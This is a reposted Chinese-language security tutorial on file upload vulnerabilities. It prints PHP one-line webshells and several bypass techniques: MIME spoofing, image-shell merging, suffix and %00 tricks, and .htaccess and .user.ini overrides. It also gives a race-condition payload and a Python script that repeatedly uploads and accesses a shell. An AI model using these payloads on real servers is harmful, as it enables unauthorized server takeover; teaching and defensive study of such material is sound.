文件上传

admin 2026-01-18 02:22:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详解文件上传漏洞原理与危害,涵盖绕过前端JS、后端MIME、内容及后缀检测的多种技术。重点解析利用Apache解析规则、.htaccess与.user.ini配置、图片马、00截断、二次渲染及条件竞争漏洞的方法,并提供具体操作步骤与自动化脚本,实现WebShell上传与权限获取。 综合评分: 90 文章分类: WEB安全,渗透测试,漏洞分析,漏洞POC


3、一句话木马

<?php @eval($\_REQUEST[8]); ?>

(使用:eg: /upload.php?8=phpinfo()  )

<?php @eval($\_POST['w']); ?> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script language="php" type="f82a9849df13042c4003d72d-text/javascript"> @eval($\_REQUEST['w']); </script>

文件上传

  1. 定义:网站对用户上传的文件缺乏严格的校验(后缀、类型、内容等),导致攻击者可上传恶意脚本文件(如 PHP 一句话木马),并通过访问该文件执行恶意代码,获取服务器权限。
  2. 核心危害:上传 WebShell、窃取服务器数据、植入恶意程序、控制整个服务器集群。
  3. 关键前提:上传的恶意文件能被服务器解析执行(如 PHP 脚本需被 Apache/Nginx 解析为 PHP 代码),且上传目录具备可访问、可执行权限。

常见方式,思路

1、前端JavaScript检测绕过

常见于用户选择文件上传的场景,如果上传文件的后缀不被允许,则会弹框告知。此时,上传文件的数据包并没有被发送到服务器端,只是在客户端浏览器中使用JavaScript对数据包进行检测

检测:查看源码,找到相关JS

方法:(1)使用浏览器的插件,删除检测文件后缀的JavaScript代码,然后上传文件即可绕过。

(2)先把需要上传的文件的后缀改成允许上传的,即可绕过JavaScript的检测。然后抓包,把后缀名改成可执行文件的后缀即可上传成功。

2、后端MIME类型检测绕过

服务器端的代码通过Content-Type的值来判断文件的类型。因为Content-Type的值是通过客户端传递的,是可以任意修改的。

常见合法 Content-Type(用于绕过):

  1. 图片类型:image/jpeg、image/png、image/gif
  2. 静态文件:text/plain、text/html

eg:当上传一个.php文件时,在Burp Suite中将Content-Type修改为image/jpeg,就可以绕过服务器端的检测。

3、后端文件内容检测绕过

检测:校验文件内容是否符合预期(如图片文件是否包含合法图片头、是否有恶意代码),常见方式为「文件头检测」。

方法:文件头欺骗、图片马

常见文件头:GIF89a、PNG

eg:

GIF89a

<?php @eval($\_REQUEST[8]); ?>

图片马:将正常图片与恶意脚本合并为一个文件,既包含合法图片头和内容,又包含恶意代码,绕过文件内容检测。

操作步骤(Windows 命令行):

  1. 准备正常图片文件 123.jpg 和恶意脚本文件 shell.php(放在同一目录下)。
  2. 打开 CMD 命令行,执行合并命令:copy 123.jpg/b + shell.php 2.jpg

(/b 表示以二进制模式合并,保证图片文件结构不被破坏。)

4、后端文件后缀检测绕过

黑名单检测:虽然限制了部分后缀的文件,但有些可以解析其他文件后缀。

方法:

1、PHP 常见可解析后缀(绕过黑名单必备):php、php3、php4、php5、phtml、pht、phtm

2、利用Apache从右到左解析: eg:shell.php.abc

3、双写绕过: eg: 将恶意文件命名为 shell.pphphp、shell.phpp,服务器单次校验 / 去重后变为 shell.php。

4、大小写绕过:eg: .PhP

5、00截断绕过:%00 对应 ASCII 码的 0,表示字符串结束符,服务器解析到 %00 时会停止后续解析,截断文件名。

eg :/upload/shell.php%00.jpg

两种场景:

  1. URL 中的 00 截断:直接在 URL 中拼接 %00(如 http://xxx.com/upload/shell.php%00.jpg,解析为 shell.php)。
  2. POST 请求中的 00 截断:抓包修改文件名为 shell.php%00.jpg,并将 %00 进行 URL 解码(Burp Suite 中可右键选择「URL Decode」)。

为啥可以?

首先文件先检测 shell.php%00.jpg,(%00 未被解码为结束符,只是普通字符串),后缀是 .jpg(白名单允许的合规后缀,如图片后缀),因此检测通过。之后存储时%00生效,截断,解析时剩下了shell.php。

6、/.绕过:文件名末尾添加 /.,服务器处理时会自动剔除末尾的 / 和 .,还原为合法恶意后缀。

eg:  shell.php/.

白名单检测:维护一份允许上传的后缀名单(如 jpg、png、gif),仅名单内后缀文件可上传。

可通过「文件解析漏洞」「配置文件篡改」绕过(如将 .png 文件解析为 PHP)。

方法:利用配置文件绕过

1、上传 .htaccess 文件

  1. 创建上传 .htaccess 文件:
  2. 上传包含恶意代码的 .png 文件

eg: AddType application/x-httpd-php .png

SetHandler application/x-httpd-php

2、上传.user.ini文件

  1. 创建上传 .user.ini 文件
  2. 传包含恶意代码的 1.jpg文件

5、二次渲染检测绕过

上传文件后,服务器会对文件进行二次处理(如图片压缩、格式优化、尺寸调整),生成新文件替换原上传文件,处理过程中会删除非文件本身的冗余内容(包括恶意代码)。

检测:一般上传过去的图片与原图大小不一样

方法:二次处理存在固定保留区域,可将恶意代码插入该区域实现绕过。

6、条件竞争检测绕过

核心原理:网站上传逻辑存在漏洞 —— 先允许上传任意文件到服务器,再校验文件是否为恶意文件,若为恶意文件则删除。利用「上传成功」到「文件删除」的时间差,快速访问上传的恶意文件,触发代码执行并生成新的永久 WebShell。

eg:

<?phpfputs(fopen('../shell.php','w'),'<?php @eval($ PoST[a])?>‘);?>

<?php

$myfile=fopen(“my.php”,”w”);

$txt=”<?php phpinfo();?>“;

fwrite($myfile,$txt);

fclose($myfile);

?>

使用 Burp Suite 或 Python 脚本,持续上传并同时持续访问该文件(利用时间差)

当访问成功时,服务器会生成 shell.php(永久存在,不会被删除),后续直接访问 shell.php 即可获取 WebShell。

辅助工具:Python 批量上传 & 访问脚本(简化操作):

import requests

import threading

目标网址(上传接口和访问接口)

upload_url = “http://xxx.com/upload.php”

access_url = “http://xxx.com/upload/4.php”

上传文件函数

def upload_file():

files = {“file”: (“4.php”, open(“4.php”, “rb”), “image/png”)}

while True:

try:

requests.post(upload_url, files=files)

print(“上传一次 4.php”)

except:

pass

访问文件函数(触发生成 shell.php)

def access_file():

while True:

try:

requests.get(access_url)

print(“访问一次 4.php”)

except:

pass


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:哦0吼 zoe zoe《文件上传》

文件上传 网络安全文章

文件上传

文章总结: 文档详解文件上传漏洞原理与危害,涵盖绕过前端JS、后端MIME、内容及后缀检测的多种技术。重点解析利用Apache解析规则、.htaccess与.u
AI公开课邀你薅羊毛 网络安全文章

AI公开课邀你薅羊毛

文章总结: HZ安全实验室将于2026年1月18日晚7点在B站直播AI技术入门与创业指导公开课并举办抽奖。奖品含小米手环等,参与需完成关注点赞评论转发及累计观看
dumphash详解 网络安全文章

dumphash详解

文章总结: 本文详解WindowsLSASS进程的PPL保护机制及绕过技术。核心方案是编写内核驱动修改EPROCESS结构中的ProtectionLevel字段
评论:0   参与:  0